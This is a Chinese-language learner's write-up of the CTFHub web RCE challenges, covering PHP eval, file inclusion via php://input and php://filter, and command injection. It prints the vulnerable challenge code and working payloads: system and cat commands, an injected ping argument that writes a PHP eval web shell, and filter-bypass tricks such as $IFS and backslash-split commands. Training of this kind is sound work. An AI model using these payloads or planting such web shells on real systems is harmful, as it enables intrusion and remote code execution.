CTFHUB学习第一天web的RCE
CTFHUB部分
可以参考这位大佬做的入门题目视频,过程很详细
RCE
eval(命令执行)
第一题使用蚁剑根据题目提示需要cmd,连接密码写cmd,测试连接成功,好,发现打不开库,看看其它办法
$_REQUESTPHP $_POST 变量 | 菜鸟教程 (runoob.com)
哦出来了,发现是忘记把burpsite拦截关掉了
关于蚁剑和burpsite拦截代理设置可以参考其他文章拦截浏览器数据,但是我用的burpsite一般我都拦截内嵌浏览器,不需要设置代理,所以我也不会设置代理(bushi
在蚁剑文件管理添加连接后双击进入文件管理/根目录下最下面有个flag_16502文件,打开就是flag
还有另一种思路,可以使用 /?cmd=system("ls /"); 查看上一级目录文件夹
用 /?cmd=system("cat flag_16502"); 抓取flag文件
/?以及后面内容加在链接后面表示以GET方式传递参数
文件包含
进去首先提示我们它有shell,如何运行他,看php代码
第一行error........表示忽略错误
下一行发现要以GET方式传递参数
在链接后面加上/?file=phpinfo();查看php信息,按ctrl+f搜索disable没有用还没搞清楚,可能是没有调用的原因,参考下面资料
PHP $_GET 变量 | 菜鸟教程 (runoob.com)
可以使用wappalyzer分析网站指纹,即使用什么样的技术,以及版本,详细安装过程暂且不展开讲述
有shell在链接后面加\shell.txt,得到代码
<?php eval($_REQUEST['ctfhub']);?>
使用HackBar在得到这段代码的页面传递POST参数
ctfhub=phpinfo();查看php信息,按ctrl+f搜索disable查看disablefunction查看被禁用函数
没有用,参考视频,想到应该是链接地址而不是文档
在原地址后加上/?file=shell.txt
再post传递
ctfhub=phpinfo();查看php信息,按ctrl+f搜索disable查看disablefunction查看被禁用函数,为空,可以使用system和cat函数
ctfhub=system('ls /');得到 目录下面含有flag文件
ctfhub=system('cat /flag');抓取flag文件得到flag
php://input
提示没有shell,先看代码
<?phpif (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>
点击phpinfo可以查看phpinfo
同样禁用class和function都为空
===为强等于,要求完全相等,==为弱等于web题-11_弱类型问题.mp4_哔哩哔哩_bilibili参考这个视频捏
题目链接后面加/?file=php://input
同时hackbar POST 传递参数file=<?php system('ls /');?>将文件包含漏洞变为执行漏洞执行system函数
文件包含————ctfhub之php://input_php://input ctf_Anfy1的博客-CSDN博客
php输入流php://input的使用分析_iteye_5904的博客-CSDN博客
得到file=%3C%3Fphp+system%28%27ls+%2F%27%29%3B%3F%3E,为byte字符串,使用burpsite抓包
响应方法虽然是GET但是也可以在最下面加上 file=<?php system('ls /');?>
在美化或者raw界面查看目录
响应
上面部分隐藏了
file=bin
boot
dev
etc
flag_14953
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var<hr>
i don't have shell, how to get flag? <br><a href="phpinfo.php">phpinfo</a>
利用cat抓取flag_14953
改一下传递的参数
file=<?php system('cat /flag_14953');?>
file=ctfhub{e91610dcc14854bd8bed5700}
读取源代码
ctfhub-读取源代码_ctfhub 读取源代码_At0m_的博客-CSDN博客
查看题目
php://input不能使用
参考phpinfo中的allow_url_fopen,allow_url_include选项
PHP substr() 函数 (w3school.com.cn) 返回字符串一部分
003-漏洞梳理篇之php伪协议_php伪协议漏洞_Min1996的博客-CSDN博客
php://filter 参数 |
|
resource=<要过滤的数据流> |
必须项。它指定了你要筛选过滤的数据流。 |
read=<读链的过滤器> |
可选项。可以设定一个或多个过滤器名称,以管道符(*\ *)分隔。 |
write=<写链的过滤器> |
可选项。可以设定一个或多个过滤器名称,以管道符(\ )分隔。 |
<; 两个链的过滤器> |
任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。 |
可以构造链接,因为告诉了flag位置
/?file=php://filter/resource=/flag
得到flag
让flag以base64加密的方式输出:
?file=php://filter/read=convert.base64-encode/resource=/flag
远程包含
题目
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?><hr>
i don't have shell, how to get flag?<br><a href="phpinfo.php">phpinfo</a>
i don't have shell, how to get flag?
phpinfo
PHP strpos() 函数 | 菜鸟教程 (runoob.com)
查找 "php" 在字符串中第一次出现的位置
PHPinfo当中表明php://input可以用
以下部分到backdoorⅡ之前照抄参考了大佬博客,后续我会继续补充学习里面的部分内容讲一下原理,让萌新更容易入门
这个大佬的过程,里面有知识点补充
CTFHub题解-技能树-Web-RCE【过滤目录分隔符、过滤运算符、综合过滤练习】(二) - 0yst3r - 博客园 (cnblogs.com)
CTFHub题解-技能树-Web-RCE【命令注入、过滤cat、过滤空格】(一) - 0yst3r - 博客园 (cnblogs.com)
命令注入
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$cmd = "ping -c 4 {$_GET['ip']}";
exec($cmd, $res);
}
?>
<!DOCTYPE html><html><head>
<title>CTFHub 命令注入-无过滤</title></head><body>
<h1>CTFHub 命令注入-无过滤</h1>
<form action="#" method="GET">
<label for="ip">IP : </label><br>
<input type="text" id="ip" name="ip">
<input type="submit" value="Ping"></form>
<hr>
<pre>
<?php
if ($res) {
print_r($res);
}
?></pre>
<?php
show_source(__FILE__);
?>
</body></html>
Windows系统支持的管道符如下:
1. “|”:直接执行后面的语句。
2. “||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
3. “&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
4. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
Linux系统支持的管道符如下:
1. “;”:执行完前面的语句再执行后面的语句。 2. “|”:显示后面语句的执行结果。 3. “||”:当前面的语句执行出错时,执行后面的语句。 4. “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。 5. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
方法一:ping
先试试本机的IP地址
127.0.0.1
ip = 127.0.0.1&cat 8196178091203.php
GET /?ip=1277.0.0.1%26cat+8196178091203.php HTTP/1.1 这一行是GET传递参数可以看一下HTTP的传入格式
网页渲染不出来,可以试试burpsite抓包抓取(其实按F12开发者工具也有flag)错误的这是假flag
得到flag
或者
正确方法:输入得到base64编码然后解码也行,IP填写 127.0.0.1&cat 8196178091203.php | base64
方法二:蚁剑
填入 127.0.0.1&echo"<?php @eval($_POST['test']);?>">555.php 创建文件555.php等我研究一下再看看()
原作者说明
正确做法:127.0.0.1&echo -e "<?php @eval(\$_POST['test']);?>" > 555.php 创建文件555.php
连接成功,打开那个php就行
过滤cat
反斜杠 : 例如 ca\t fl\ag.php
连接符: 例如 ca''t fla''g.txt
输入:
这里的第一个方法我没有亲自尝试,是按照大佬的思路来写的
127.0.0.1&ls 先找出php文件
127.0.0.1&ca\t flag_301343127217397.php
看不到flag,用base64编码输出 127.0.0.1&ca\t flag_301343127217397.php | base64 | base64
虽然大佬是用base64编码输出的,但是我个人更喜欢用蚁剑查看,和上一题蚁剑做法一样
过滤空格
在 bash 下, 空格可以用以下字符代替空格:
<,<>,%20(space),%09(tab),$IFS$9, ${IFS},$IFS 等(摘抄)
其他的和上面的题一样不在此赘述
过滤目录分隔符
(1)过滤了目录分隔符 / ,那么我们就 cd 命令进入对应的目录。
(2)base64转码
过滤运算符
(1)过滤了 | 与 & ,那我们就使用 ; 分隔命令来代替
(2)base64解码
综合过滤练习
url补充表
在本题目中我们会用到:
%0a 代替 换行 , %09 代替 TAB键 (因为flag被过滤了,所以我们通过TAB来补全flag_is_here)
%5c 代替 \(用 \ 来分隔开 cat ,因为 cat 也被过滤了qwq)